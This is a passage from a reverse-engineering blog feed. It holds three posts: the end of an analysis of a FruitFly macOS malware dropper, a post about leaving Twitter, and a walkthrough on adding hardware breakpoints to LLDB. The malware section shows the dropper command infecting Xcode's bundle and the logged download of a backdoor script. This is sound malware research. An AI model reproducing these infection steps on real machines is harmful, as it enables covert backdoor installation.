01:21:17 2019 b /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper semi-auto Mon May 6 01:21:17 2019 exit Mon May 6 01:29:59 2019 b /Applications/Xcode.app/Contents/MacOS/Xcode Mon May 6 01:29:59 2019 exit Xcode doesn\u0026rsquo;t really start but the backdoor is downloaded:\n127.0.0.1 - - [06/May/2019 01:29:59] \u0026#34;GET /z.pl HTTP/1.1\u0026#34; 200 - If we remove the infection and install again without blocking:\n$ ./dropper.pl /Applications/Xcode.app/ Translated to /Applications/Xcode.app/Contents/MacOS/Xcode Moved original, appending 2 Wrote dropper to /Applications/Xcode.app/Contents/MacOS/Xcode Done This time Xcode runs normally but:\n127.0.0.1 - - [06/May/2019 01:31:27] \u0026#34;GET /z.pl HTTP/1.1\u0026#34; 200 - $ cat /Applications/.z Mon May 6 01:21:17 2019 b /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper semi-auto Mon May 6 01:21:17 2019 exit Mon May 6 01:29:59 2019 b /Applications/Xcode.app/Contents/MacOS/Xcode Mon May 6 01:29:59 2019 exit Mon May 6 01:31:27 2019 /Applications/Xcode.app/Contents/MacOS/Xcode The main difference is that non supported target applications do not get a plist created so the only visible sign of infection is the modified application bundle.\nThis dropper script sheds some \u0026ldquo;new\u0026rdquo; light into FruitFly bag of tricks. It still doesn\u0026rsquo;t help to understand the infection vector, which has been described as port scanning for services with weak or no passwords. You can read FBI\u0026rsquo;s flash alert copy here:\nThe attack vector included the scanning and identification of externally facing Mac services to include the Apple Filing Protocol (AFP, port 548), RDP, VNC, SSH (port 22), and Back to My Mac (BTMM), which would be targeted with weak passwords or passwords derived from 3rd party data breaches.\nIn this scenario, the script would be used to write the dropper to the remotely mounted drive and wait for code execution that would retrieve the main malicious Perl script. The script is versatile enough to be used under the services described by the FBI flash alert. The flash alert has IOCs for tmp1.hopto.org and tmp2.hopto.org addresses, so the FBI probably had access to other version(s) of this script (those addresses don\u0026rsquo;t show up in the previous known malware scripts/binaries).\nThis script allows us to understand a bit more about FruitFly and its modus operandi. The attacks via AFP now make sense because this script shows how that kind of access was being leveraged.\nFruitFly was indeed a peculiar piece of malware developed and used by a single person for more than a decade. I wonder why Perl was used for all this.\nBig thanks to @noarfromspace for finding the script, even if it took me almost two years to look at it :-).\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2020/03/04/a-fruitfly-dropper-and-the-missing-tricks/","summary":"\u003cp\u003e\u003cstrong\u003eNote to original post:\u003c/strong\u003e\u003cbr\u003e\n\u003cem\u003eThis post was originally written back in May 2019 but was removed because of \u0026ldquo;pressure\u0026rdquo; from my employer at the time, Apple. It was written over the weekend on my own equipment and was all about information I had way before I joined Apple. Personally I don\u0026rsquo;t think there is any special drama here other than unreleased technical details about a malware that is dead and its author busted long time ago. When paranoia and envy are dominant then everything can be a potential media drama in people\u0026rsquo;s mind. It\u0026rsquo;s all bullshit. My position didn\u0026rsquo;t change and given that there is an upcoming presentation about this malware by \u003ca href=\"https://objectivebythesea.com/v3/content.html#tReed\"\u003eThomas Reed\u003c/a\u003e at Objective By The Sea it\u0026rsquo;s time to re-release this.\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003eWhile sorting out my Mac malware collection I found out that I had an unreleased (no known public references) FruitFly/Quimitchin dropper script lost in my archives.\u003c/p\u003e\n\u003cp\u003eFruitFly made big headlines two years ago and its author has been \u003ca href=\"https://www.zdnet.com/article/ohio-hacker-indicted-fruitfly-malware-spy-on-thousands-of-mac-users/\"\u003earrested\u003c/a\u003e. It was first reported by \u003ca href=\"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/\"\u003eMalwareBytes\u003c/a\u003e and then a new variant was analysed by \u003ca href=\"https://papers.put.as/papers/macosx/2017/VB2017-Wardle.pdf\"\u003ePatrick Wardle\u003c/a\u003e. Besides being under the radar for more than a decade, it was kind of exotic malware because most of its code was written in Perl. Last time I did something serious in Perl was twenty years ago or so!\u003c/p\u003e","title":"FruitFly's dropper script and its missing tricks"},{"content":"Because I can :-)\nI was going to write a longer post about this but it is pretty much irrelevant. Essentially I have been thinking about this over the past weeks given that my character might be somewhat incompatible with what I want to achieve next. Sunday I got locked out of Twitter because some random asshole made an harassment complaint because I called him \u0026ldquo;dumb fuck\u0026rdquo; and \u0026ldquo;dumb idiot\u0026rdquo;, pretty normal things around my feed.\nThis was the spark to act on my thoughts. Jack is a pathetic leader and Twitter is an unfixable shitshow. Twitter (and other social networks) are effectively making the world a worse place. Twitter rules are assymetric or arbitrary if you prefer. When Twitter allows Trump to bypass its rules (excused by some weird public interest or whatever) but is happy to enforce rules against anyone else then rules are irrelevant. It\u0026rsquo;s not just Trump, the Nazi and misinformation problems are bigger and Twitter doesn\u0026rsquo;t really want to solve them. And that kind of platform is not interesting anymore.\nBesides that, while I love all the amount of information I retrieve out of Twitter it\u0026rsquo;s not the most efficient way to do it. My (daily) wasted screen time is ridiculous and so it\u0026rsquo;s time to kill that inneficiency. I just want all those interesting links and a bot is way more efficient.\nAnd Twitter is not anymore a platform for discussions (if it ever was). It\u0026rsquo;s mostly unidirectional flow of \u0026ldquo;ideas\u0026rdquo; and rage. 280 characters aren\u0026rsquo;t enough for any meaningful discussion and exposing thoughts, but they are good for quick escalation. Guilty as charged - should have ignored that dumb fuck instead of calling him dumb fuck ;-).\nAnyway, it were almost 10 years of a fun experiment. I wiped all my Twitter history because it felt liberating (and because it\u0026rsquo;s scary when you look at your Twitter data and you have almost 10 years of all kinds of things you said and thought). Contrary to what the developer documentation says, the destroy API isn\u0026rsquo;t rate limited. Took some 6 hours to delete 72.5k tweets but at least it wasn\u0026rsquo;t rate limited. Why there isn\u0026rsquo;t a delete all API is another fine example of how crap Twitter leadership is. If you are into Go (I\u0026rsquo;m doing Go in 2020, change is good!) then go-twitter worked pretty well for me.\nI am around at the usual places. I am not going away. Now I got extra free time to get back to fun stuff.\nHummm this might have ended up longer than I thought but shorter than initial ideas. That\u0026rsquo;s the advantage of no character limitations :P.\nfG!\n","permalink":"https://reverse.put.as/2020/02/18/why-i-left-twitter/","summary":"\u003cp\u003eBecause I can :-)\u003c/p\u003e\n\u003cp\u003eI was going to write a longer post about this but it is pretty much irrelevant. Essentially I have been thinking about this over the past weeks given that my character might be somewhat incompatible with what I want to achieve next. Sunday I got locked out of Twitter because some random asshole made an harassment complaint because I called him \u0026ldquo;dumb fuck\u0026rdquo; and \u0026ldquo;dumb idiot\u0026rdquo;, pretty normal things around my feed.\u003c/p\u003e","title":"Why I Left Twitter"},{"content":"These days the de facto debugger in macOS is LLDB. Apple\u0026rsquo;s old gdb fork doesn\u0026rsquo;t work anymore and the GNU gdb version is better these days but still quite meh (in the past it couldn\u0026rsquo;t deal with fat binary targets and I still think this holds true). So we are all essentially stuck with LLDB, warts and all. I also hate the lack of a gdbinit style output but Deroko started that project and I improved it with lldbinit.\nBesides its horrible long command line syntax which is so unpopular that gdb-compatible commands were introduced, my biggest problem with it has been the lack of x86 hardware breakpoint support. While hardware breakpoints might not be needed to debug applications within Xcode, they are essential to any serious reverse engineer dealing with arbitrary untrusted targets such as malware, packers, obfuscators, and DRM. It has been a serious blocker for me against some targets and a source of immense frustration because it should be a basic debugger feature.\nLast week I finally got fed up enough to dive into the LLDB C++ codebase and finally try to implement this feature. Instead of just posting a patch, this post is a journey into LLDB internals and how I implemented this feature. Hopefully it will help others exploring the LLDB codebase, which seems unfriendly because of the lack of really good documentation into its architecture. Maybe this could lead to further improvements and make LLDB more reverse engineer friendly.\nStep number 1: Building LLDB The official building instructions seem slightly outdated so I will start by how I build my LLDB. If we can\u0026rsquo;t build it we can\u0026rsquo;t easily modify it.\nDependencies:\nXcode (\u0026gt;= 9.4.1) CMake (\u0026gt;= 3.14) PCRE (8.43) SWIG (4.0.1) Ninja (1.9.0) The version numbers are the ones I used but others might also work. Host systems were macOS High Sierra and Mojave. This is untested in Catalina but I don\u0026rsquo;t expect issues.\nAfter all the dependencies are installed we can finally download the code. I am using the latest public release version 9.0.0 but the patches merge successfully into the master branch through at least November 18. Apple uses a different version scheme tied to Xcode versions. In the past there used to be separate source packages but LLDB is now in a single repository for LLVM and its subprojects.\nAll the code snippets and features will be based on the 9.0.0 release tag. I have different Xcode versions, implying different LLDB versions and different sets of features, so it\u0026rsquo;s best to reference a single version.\ngit clone https://github.com/llvm/llvm-project.git cd llvm-project git checkout llvmorg-9.0.0 Now we can start to build lldb and debugserver. First let\u0026rsquo;s generate the build files with CMake.\nAn important issue is that a code signing certificate is required to build debugserver. The build system defaults to a self-signed code certificate named lldb_codesign. The process is described here. There is a script lldb/scripts/macos-setup-codesign.sh that should generate a functioning certificate if you don\u0026rsquo;t already have one on your Mac.\nmkdir build cd build cmake -G Ninja -DLLVM_ENABLE_PROJECTS=\u0026#34;clang;lldb\u0026#34; -DLLDB_INCLUDE_TESTS=OFF ../llvm If you have a valid Apple Developer certificate then you can build with it and distribute your lldb to other computers. In this case we need to specify the certificate User ID/OU to CMake using the LLDB_CODESIGN_IDENTITY option. The codesign utility needs to be authorized to use this certificate, so the easiest way is to select \u0026ldquo;Always Allow\u0026rdquo; on the Keychain authorization prompt otherwise you will have to authenticate on each build.\nmkdir build cd build cmake -G Ninja -DLLVM_ENABLE_PROJECTS=\u0026#34;clang;lldb\u0026#34; -DLLDB_CODESIGN_IDENTITY=\u0026#34;XXXXXXXX\u0026#34; -DLLDB_INCLUDE_TESTS=OFF ../llvm When generation is finished we can finally build lldb using ninja. We need to build at least two targets, lldb and debugserver. More about debugserver next.\nninja lldb ninja debugserver On a 6-core Mac Pro lldb takes around 20 minutes to build (around 6 mins on 28 cores KVM/QEMU based VM). debugserver is much faster, a couple of seconds.\nThe problem of this build is that it can\u0026rsquo;t be moved to other machines because liblldb.dyld references. LLDB build documentation talks about a standalone build but those instructions appear outdated and don\u0026rsquo;t really work. I have hacked something that works but it\u0026rsquo;s not perfect - LLDB architecture doesn\u0026rsquo;t seem adequate to just copy two binaries (lldb and debugserver) between different machines.\nI have included a Cmake file together with the patch. It is adapted from Apple-lldb-base.cmake, Apple-lldb-macOS.cmake, and Apple-lldb-Xcode.cmake referenced in LLDB build documentation. The build process is slightly different.\nmkdir build cd build cmake -G Ninja -C /path/to/standalone_lldb.cmake -DLLVM_ENABLE_PROJECTS=\u0026#34;clang;lldb\u0026#34; -DLLDB_CODESIGN_IDENTITY=\u0026#34;XXXXXXX\u0026#34; ../llvm ninja lldb ninja debugserver After build is finished we need to modify the RPATH for lldb binary. It used the absolute path to the build environment so if we move the binary to some other machine it will not run because of that.\nAssuming that we are in the build folder root:\ninstall_name_tool -rpath \u0026#34;$PWD/bin\u0026#34; . bin/lldb This way we can move the bin folder to some other machine and execute lldb from it. The correct debugserver binary will be used. I haven\u0026rsquo;t found a better way to make lldb and debugserver portable. The install-distribution by default generates a Xcode.app install tree, which is something we don\u0026rsquo;t want.\nI would love to know if there is a better way to build a distributable LLDB. The best solution would be a statically linked lldb binary but I doubt that is possible because Python dependencies inside the LLDB.framework and other things. This way it works and the compromise appears acceptable. Copy everything into /usr/local/bin and rename the lldb binary to avoid conflict with Xcode.\nStep number 2: About debugserver I never bothered to understand the role of debugserver in LLDB. I was confused when the breakpoints error message I was looking was located in source files labeled \u0026ldquo;remote\u0026rdquo; and needed to understand why. The LLDB remote debugging page clarifies this. LLDB employs a client-server architecture using gdb-remote protocol even for local debugging. Instead of having different code for local and remote debugging sessions (like gdb and gdbserver), gdb-remote protocol is used for both. Local session communication is made via loopback interface, where debugserver is the remote debugging stub but listening locally. This is a design decision that makes sense and performance-wise it should be fine - if we are willing to accept latency in remote debugging sessions then the same could hold true for local sessions. In practice you don\u0026rsquo;t really notice performance issues in local debugging.\nThis is the main reason why debugserver needs to be code signed \u0026ndash; because it is the real debugger process responsible for controlling targets and managing the target exceptions. In macOS this requires certain entitlements that need a code signature to become enabled.\nFor example if debugserver is not code signed or ad-hoc signed there will be an error when we try to launch a target process.\n(lldbinit) process launch -s Process 22920 exited with status = -1 (0xffffffff) Error 1 In this case debugserver is unable to retrieve the task port for the target and so it can\u0026rsquo;t proceed as a functioning debugger.\nStep number 3: LLDB logging After some initial digging to start understanding the problem with hardware breakpoints and a bit of frustrated ranting at Twitter, Jason Molenda (one of the developers that ported gdb to macOS) gave me a very useful hint on how to enable LLDB logging. This turned out to be super useful because the logs show the functions and methods called when you try to set breakpoints. A big thank you to Jason!\nTo activate logging just use the following command before starting the target process:\nsettings set target.process.extra-startup-command QSetLogging:bitmask=LOG_ALL; The bitmask can be a combination of the following:\nLOG_VERBOSE LOG_PROCESS LOG_THREAD LOG_EXCEPTIONS LOG_SHLIB LOG_MEMORY LOG_MEMORY_DATA_SHORT LOG_MEMORY_DATA_LONG LOG_MEMORY_PROTECTIONS LOG_BREAKPOINTS LOG_EVENTS LOG_WATCHPOINTS LOG_STEP LOG_TASK LOG_ALL LOG_DEFAULT LOG_NONE LOG_RNB_MINIMAL LOG_RNB_MEDIUM LOG_RNB_MAX LOG_RNB_COMM LOG_RNB_REMOTE LOG_RNB_EVENTS LOG_RNB_PROC LOG_RNB_PACKETS LOG_RNB_ALL LOG_RNB_DEFAULT LOG_DARWIN_LOG LOG_RNB_NONE The log messages are sent to the macOS log server so we can follow those messages in real time:\nlog stream --process debugserver --style compact For example a setting of LOG_ALL|LOG_RNB_ALL gives us the following output when we set a software breakpoint:\n[59b0/0e03]: ::read ( 8, 0x70000a1f98c0, 1024 ) =\u0026gt; 18 err = 0x00000000 [59b0/0e03]: read: $Z0,10000b19d,1#34 [59b0/0e03]: getpkt: $Z0,10000b19d,1#34 [59b0/0307]: RNBRunLoopInferiorExecuting ctx.Events().WaitForSetEvents(0x000000a5) =\u0026gt; 0x00000020 (read_packet_available ) [59b0/0307]: HandleReceivedPacket (\u0026#34;Z0,10000b19d,1\u0026#34;); [59b0/0307]: MachProcess::CreateBreakpoint ( addr = 0x10000b19d, length = 1, hardware = 0) [59b0/0307]: MachProcess::EnableBreakpoint ( addr = 0x10000b19d ) [59b0/0307]: ::mach_vm_read ( task = 0x1503, addr = 0x10000b19d, size = 1, data =\u0026gt; 0x103064000, dataCnt =\u0026gt; 1 ) err = 0x00000000 [59b0/0307]: MachTask::ReadMemory ( addr = 0x10000b19d, size = 1, buf = 0x7fe9cc7012d0) =\u0026gt; 1 bytes read 0x10000b19d: 6a [59b0/0307]: ::mach_vm_region_recurse ( task = 0x1503, address =\u0026gt; 0x10000a000, size =\u0026gt; 307200, nesting_depth =\u0026gt; 0, info =\u0026gt; 0x7ffeed232024, infoCnt =\u0026gt; 12) addr = 0x10000b19d err = 0x00000000 [59b0/0307]: info = { prot = 5, max_prot = 7, inheritance = 0x00000001, offset = 0x00000000, user_tag = 0x00000000, ref_count = 829, shadow_depth = 2, ext_pager = 1, share_mode = 1, is_submap = 0, behavior = 0, object_id = 0x39739631, us [59b0/0307]: ::mach_vm_protect ( task = 0x1503, addr = 0x10000b19d, size = 1, set_max = 0, prot = 3 ) err = 0x00000000 [59b0/0307]: ::mach_vm_write ( task = 0x1503, addr = 0x10000b19d, data = 0x102b1ceb8, dataCnt = 1 ) err = 0x00000000 [59b0/0307]: ::mach_vm_protect ( task = 0x1503, addr = 0x10000b19d, size = 1, set_max = 0, prot = 5 ) err = 0x00000000 [59b0/0307]: MachTask::WriteMemory ( addr = 0x10000b19d, size = 1, buf = 0x102b1ceb8) =\u0026gt; 1 bytes written 0x10000b19d: cc [59b0/0307]: ::mach_vm_read ( task = 0x1503, addr = 0x10000b19d, size = 1, data =\u0026gt; 0x103064000, dataCnt =\u0026gt; 1 ) err = 0x00000000 [59b0/0307]: MachTask::ReadMemory ( addr = 0x10000b19d, size = 1, buf = 0x7ffeed23217c) =\u0026gt; 1 bytes read 0x10000b19d: cc [59b0/0307]: MachProcess::EnableBreakpoint ( addr = 0x10000b19d ) : SUCCESS. [59b0/0307]: MachProcess::CreateBreakpoint ( addr = 0x10000b19d, length = 1) =\u0026gt; 0x7fe9cc7012c8 [59b0/0307]: 8832296 RNBRemote::SendPacket (OK) called [59b0/0307]: ::write ( socket = 8, buffer = 0x7ffeed231de9, length = 6) =\u0026gt; 6 err = 0x00000000 [59b0/0307]: putpkt: $OK#00 [59b0/0307]: sent: $OK#00 [59b0/0307]: RNBRunLoopInferiorExecuting ctx.Events().WaitForSetEvents(0x000000a5) ... When we try to set a hardware breakpoint on unmodified LLDB:\n[59b6/0f03]: ::read ( 8, 0x700004eb7a50, 1024 ) =\u0026gt; 18 err = 0x00000000 [59b6/0f03]: read: $Z1,10000b19d,1#35 [59b6/0f03]: getpkt: $Z1,10000b19d,1#35 [59b6/0307]: RNBRunLoopInferiorExecuting ctx.Events().WaitForSetEvents(0x000000a5) =\u0026gt; 0x00000020 (read_packet_available ) [59b6/0307]: unimplemented packet: \u0026#39;Z1,10000b19d,1\u0026#39; [59b6/0307]: 8898466 RNBRemote::HandlePacket_UNIMPLEMENTED(\u0026#34;Z1,10000b19d,1\u0026#34;) [59b6/0307]: 24 RNBRemote::SendPacket () called [59b6/0307]: ::write ( socket = 8, buffer = 0x7ffeef7bdb11, length = 4) =\u0026gt; 4 err = 0x00000000 [59b6/0307]: putpkt: $#00 [59b6/0307]: sent: $#00 [59b6/0307]: RNBRunLoopInferiorExecuting ctx.Events().WaitForSetEvents(0x000000a5) ... It is clear that software breakpoints are set with a Z0 packet and Z1 is used for hardware breakpoints (and deleted with z0 and z1). The most helpful output is about the function and method names that allow us to quickly find the relevant source code without wasting time understanding the entire LLDB codebase.\nWhile writing this blogpost and browsing the source code I found an alternative way to enable logging. It\u0026rsquo;s the log command inside lldb. Newer versions seem to have better logging output versus older versions. At first I thought it was some differences in Apple\u0026rsquo;s version but it\u0026rsquo;s not. There also seem to be some differences output-wise versus the first logging method so a combination of both might be a good choice.\nThe command to enable logging inside lldb is:\n(lldbinit) help log enable Enable logging for a single log channel. Syntax: log enable \u0026lt;cmd-options\u0026gt; \u0026lt;log-channel\u0026gt; \u0026lt;log-category\u0026gt; [\u0026lt;log-category\u0026gt; [...]] We can list all the available channels with log list:\ndwarf gdb-remote kdp-remote lldb And for each there are different log categories.\n(lldbinit) log list (...) Logging categories for \u0026#39;gdb-remote\u0026#39;: all - all available logging categories default - default set of logging categories async - log asynchronous activity break - log breakpoints comm - log communication activity packets - log gdb remote packets memory - log memory reads and writes data-short - log memory bytes for memory reads and writes for short transactions only data-long - log memory bytes for memory reads and writes for all transactions process - log process events and activities step - log step related activities thread - log thread events and activities watch - log watchpoint related activities (...) For example, to enable gdb-remote packet logging:\n(lldbinit) log enable gdb-remote packets (lldbinit) breakpoint set -a 0x1000041a2 history[1] tid=0x0307 \u0026lt; 1\u0026gt; send packet: + history[2] tid=0x0307 \u0026lt; 19\u0026gt; send packet: $QStartNoAckMode#b0 history[3] tid=0x0307 \u0026lt; 1\u0026gt; read packet: + history[4] tid=0x0307 \u0026lt; 6\u0026gt; read packet: $OK#9a history[5] tid=0x0307 \u0026lt; 1\u0026gt; send packet: + history[6] tid=0x0307 \u0026lt; 41\u0026gt; send packet: $qSupported:xmlRegisters=i386,arm,mips#12 history[7] tid=0x0307 \u0026lt; 48\u0026gt; read packet: $qXfer:features:read+;PacketSize=20000;qEcho+#00 history[8] tid=0x0307 \u0026lt; 26\u0026gt; send packet: $QThreadSuffixSupported#e4 history[9] tid=0x0307 \u0026lt; 6\u0026gt; read packet: $OK#00 history[10] tid=0x0307 \u0026lt; 27\u0026gt; send packet: $QListThreadsInStopReply#21 (...) By default the log will be sent to lldb console, which can be a bit messy combined with the debugging session. Output can be redirected to a file with -f filename option to log enable.\nStep number 4: Diving into LLDB codebase The starting point is the hardware breakpoint error message.\n(lldbinit) breakpoint set -a 0x10000b19d -H warning: failed to set breakpoint site at 0x10000b19d for breakpoint 1.1: hardware breakpoints are not supported Breakpoint 1: where = dyld`_dyld_start + 1, address = 0x000000010000b19d It can be found at lldb/source/Plugins/Process/gdb-remote/ProcessGDBRemote.cpp:\nStatus ProcessGDBRemote::EnableBreakpointSite(BreakpointSite *bp_site) { (...) // The process of setting a hardware breakpoint is much the same // as above. // We check the supported boolean for this breakpoint type, and if it is // thought to be supported then we will try to set this breakpoint with // a hardware breakpoint. if (m_gdb_comm.SupportsGDBStoppointPacket(eBreakpointHardware)) { // Try to send off a hardware breakpoint packet ($Z1) uint8_t error_no = m_gdb_comm.SendGDBStoppointTypePacket( eBreakpointHardware, true, addr, bp_op_size); if (error_no == 0) { // The breakpoint was placed successfully bp_site-\u0026gt;SetEnabled(true); bp_site-\u0026gt;SetType(BreakpointSite::eHardware); return error; } // Check if the error was something other then an unsupported // breakpoint type if (m_gdb_comm.SupportsGDBStoppointPacket(eBreakpointHardware)) { // Unable to set this hardware breakpoint if (error_no != UINT8_MAX) error.SetErrorStringWithFormat( \u0026#34;error: %d sending the hardware breakpoint request \u0026#34; \u0026#34;(hardware breakpoint resources might be exhausted\u0026#34; \u0026#34;or unavailable)\u0026#34;, error_no); else error.SetErrorString(\u0026#34;error sending the hardware breakpoint \u0026#34; \u0026#34;request (hardware breakpoint resources \u0026#34; \u0026#34;might be exhausted or unavailable)\u0026#34;); return error; } // We will reach here when the stub gives an unsupported response to a // hardware breakpoint LLDB_LOGF(log, \u0026#34;Hardware breakpoints are unsupported\u0026#34;); // Finally we will falling through to a #trap style breakpoint } // Don\u0026#39;t fall through when hardware breakpoints were specifically // requested if (bp_site-\u0026gt;HardwareRequired()) { error.SetErrorString(\u0026#34;hardware breakpoints are not supported\u0026#34;); return error; } // As a last resort we want to place a manual breakpoint. An instruction // is placed into the process memory using memory write packets. return EnableSoftwareBreakpoint(bp_site); } The first time SupportsGDBStoppointPacket(eBreakpointHardware) is executed it returns true, which is the default value from lldb/source/Plugins/Process/gdb-remote/GDBRemoteCommunicationClient.h:\nbool m_supports_qProcessInfoPID : 1, m_supports_qfProcessInfo : 1, m_supports_qUserName : 1, m_supports_qGroupName : 1, m_supports_qThreadStopInfo : 1, m_supports_z0 : 1, m_supports_z1 : 1, m_supports_z2 : 1, m_supports_z3 : 1, m_supports_z4 : 1, m_supports_QEnvironment : 1, m_supports_QEnvironmentHexEncoded : 1, m_supports_qSymbol : 1, m_qSymbol_requests_done : 1, m_supports_qModuleInfo : 1, m_supports_jThreadsInfo : 1, m_supports_jModulesInfo : 1; bool SupportsGDBStoppointPacket(GDBStoppointType type) { switch (type) { case eBreakpointSoftware: return m_supports_z0; case eBreakpointHardware: return m_supports_z1; case eWatchpointWrite: return m_supports_z2; case eWatchpointRead: return m_supports_z3; case eWatchpointReadWrite: return m_supports_z4; default: return false; } } This means that SendGDBStoppointTypePacket will be executed and send a request to debugserver to set a hardware breakpoint.\nLet\u0026rsquo;s look at that function:\nuint8_t GDBRemoteCommunicationClient::SendGDBStoppointTypePacket( GDBStoppointType type, bool insert, addr_t addr, uint32_t length) { Log *log(GetLogIfAnyCategoriesSet(LIBLLDB_LOG_BREAKPOINTS)); LLDB_LOGF(log, \u0026#34;GDBRemoteCommunicationClient::%s() %s at addr = 0x%\u0026#34; PRIx64, __FUNCTION__, insert ? \u0026#34;add\u0026#34; : \u0026#34;remove\u0026#34;, addr); // Check if the stub is known not to support this breakpoint type if (!SupportsGDBStoppointPacket(type)) return UINT8_MAX; // Construct the breakpoint packet char packet[64]; const int packet_len = ::snprintf(packet, sizeof(packet), \u0026#34;%c%i,%\u0026#34; PRIx64 \u0026#34;,%x\u0026#34;, insert ? \u0026#39;Z\u0026#39; : \u0026#39;z\u0026#39;, type, addr, length); // Check we haven\u0026#39;t overwritten the end of the packet buffer assert(packet_len + 1 \u0026lt; (int)sizeof(packet)); UNUSED_IF_ASSERT_DISABLED(packet_len); StringExtractorGDBRemote response; // Make sure the response is either \u0026#34;OK\u0026#34;, \u0026#34;EXX\u0026#34; where XX are two hex // digits, or \u0026#34;\u0026#34; (unsupported) response.SetResponseValidatorToOKErrorNotSupported(); // Try to send the breakpoint packet, and check that it was correctly // sent if (SendPacketAndWaitForResponse(packet, response, true) == PacketResult::Success) { // Receive and OK packet when the breakpoint successfully placed if (response.IsOKResponse()) return 0; // Status while setting breakpoint, send back specific error if (response.IsErrorResponse()) return response.GetError(); // Empty packet informs us that breakpoint is not supported if (response.IsUnsupportedResponse()) { // Disable this breakpoint type since it is unsupported switch (type) { case eBreakpointSoftware: m_supports_z0 = false; break; case eBreakpointHardware: m_supports_z1 = false; break; case eWatchpointWrite: m_supports_z2 = false; break; case eWatchpointRead: m_supports_z3 = false; break; case eWatchpointReadWrite: m_supports_z4 = false; break; case eStoppointInvalid: return UINT8_MAX; } } } // Signal generic failure return UINT8_MAX; } If hardware breakpoints are not supported then m_supports_z1 will be set to false and further attempts to set a hardware breakpoint will not call SendGDBStoppointTypePacket again because SupportsGDBStoppointPacket(eBreakpointHardware) will now always return false.\nWe can also see in the code that a Z packet is being created, matching what we previously saw in the logs. So we need to point our attention to the code that handles the packets in debugserver.\nThe log points to HandleReceivedPacket that can be found at lldb/tools/debugserver/source/RNBRemote.cpp:\nrnb_err_t RNBRemote::HandleReceivedPacket(PacketEnum *type) { static DNBTimer g_packetTimer(true); // DNBLogThreadedIf (LOG_RNB_REMOTE, \u0026#34;%8u RNBRemote::%s\u0026#34;, // (uint32_t)m_comm.Timer().ElapsedMicroSeconds(true), __FUNCTION__); rnb_err_t err = rnb_err; std::string packet_data; RNBRemote::Packet packet_info; err = GetPacket(packet_data, packet_info, false); if (err == rnb_success) { DNBLogThreadedIf(LOG_RNB_REMOTE, \u0026#34;HandleReceivedPacket (\\\u0026#34;%s\\\u0026#34;);\u0026#34;, packet_data.c_str()); HandlePacketCallback packet_callback = packet_info.normal; if (packet_callback != NULL) { if (type != NULL) *type = packet_info.type; return (this-\u0026gt;*packet_callback)(packet_data.c_str()); } else { // Do not fall through to end of this function, if we have valid // packet_info and it has a NULL callback, then we need to respect // that it may not want any response or anything to be done. return err; } } return rnb_err; } This function is responsible for parsing the packet and executing the registered callback handler for that packet.\nThe \u0026ldquo;unimplemented packet\u0026rdquo; log message comes from RNBRemote::GetPacket. There we can find the m_packets vector iterator responsible for returning packet_info where the callback is extracted from if the packet is valid.\nrnb_err_t RNBRemote::GetPacket(std::string \u0026amp;packet_payload, RNBRemote::Packet \u0026amp;packet_info, bool wait) { (...) if (err == rnb_success) { Packet::iterator it; for (it = m_packets.begin(); it != m_packets.end(); ++it) { if (payload.compare(0, it-\u0026gt;abbrev.size(), it-\u0026gt;abbrev) == 0) break; } // A packet we don\u0026#39;t have an entry for. This can happen when we // get a packet that we don\u0026#39;t know about or support. We just reply // accordingly and go on. if (it == m_packets.end()) { DNBLogThreadedIf(LOG_RNB_PACKETS, \u0026#34;unimplemented packet: \u0026#39;%s\u0026#39;\u0026#34;, payload.c_str()); HandlePacket_UNIMPLEMENTED(payload.c_str()); return rnb_err; } else { packet_info = *it; packet_payload = payload; } } return err; } If we track m_packets we can find the first place where patching is needed. The m_packets vector is initialized in RNBRemote::CreatePacketTable and we can see that there is no callback registered for hardware breakpoint packets.\nvoid RNBRemote::CreatePacketTable() { (...) std::vector\u0026lt;Packet\u0026gt; \u0026amp;t = m_packets; (...) t.push_back(Packet(insert_mem_bp, \u0026amp;RNBRemote::HandlePacket_z, NULL, \u0026#34;Z0\u0026#34;, \u0026#34;Insert memory breakpoint\u0026#34;)); t.push_back(Packet(remove_mem_bp, \u0026amp;RNBRemote::HandlePacket_z, NULL, \u0026#34;z0\u0026#34;, \u0026#34;Remove memory breakpoint\u0026#34;)); (...) // t.push_back (Packet (insert_hardware_bp, // \u0026amp;RNBRemote::HandlePacket_UNIMPLEMENTED, NULL, \u0026#34;Z1\u0026#34;, \u0026#34;Insert hardware // breakpoint\u0026#34;)); // t.push_back (Packet (remove_hardware_bp, // \u0026amp;RNBRemote::HandlePacket_UNIMPLEMENTED, NULL, \u0026#34;z1\u0026#34;, \u0026#34;Remove hardware // breakpoint\u0026#34;)); t.push_back(Packet(insert_write_watch_bp, \u0026amp;RNBRemote::HandlePacket_z, NULL, \u0026#34;Z2\u0026#34;, \u0026#34;Insert write watchpoint\u0026#34;)); t.push_back(Packet(remove_write_watch_bp, \u0026amp;RNBRemote::HandlePacket_z, NULL, \u0026#34;z2\u0026#34;, \u0026#34;Remove write watchpoint\u0026#34;)); (...) } We need to uncomment the code for Z1 and z1 packets and modify the packet handler callback function. The RNBRemote::HandlePacket_z method is already able to handle hardware breakpoints so we don\u0026rsquo;t need any modifications or new code. The ARM version already supports hardware breakpoints.\nif (packet_cmd == \u0026#39;Z\u0026#39;) { // set switch (break_type) { case \u0026#39;0\u0026#39;: // set software breakpoint case \u0026#39;1\u0026#39;: // set hardware breakpoint { // gdb can send multiple Z packets for the same address and // these calls must be ref counted. bool hardware = (break_type == \u0026#39;1\u0026#39;); if (DNBBreakpointSet(pid, addr, byte_size, hardware)) { // We successfully created a breakpoint, now lets full out // a ref count structure with the breakID and add it to our // map. return SendPacket(\u0026#34;OK\u0026#34;); } else { // We failed to set the software breakpoint return SendPacket(\u0026#34;E09\u0026#34;); } } break; If we enable the handlers for Z1 and z1 packets and recompile we are now able to set a hardware breakpoint without errors.\n(lldbinit) breakpoint set -a 0x10000419d -H Breakpoint 2: where = dyld`_dyld_start + 1, address = 0x000000010000419d And we get the following log messages:\n[6582/1003]: ::read ( 8, 0x700007a908c0, 1024 ) =\u0026gt; 18 err = 0x00000000 [6582/1003]: read: $Z1,10000419d,1#07 [6582/1003]: getpkt: $Z1,10000419d,1#07 [6582/0307]: RNBRunLoopInferiorExecuting 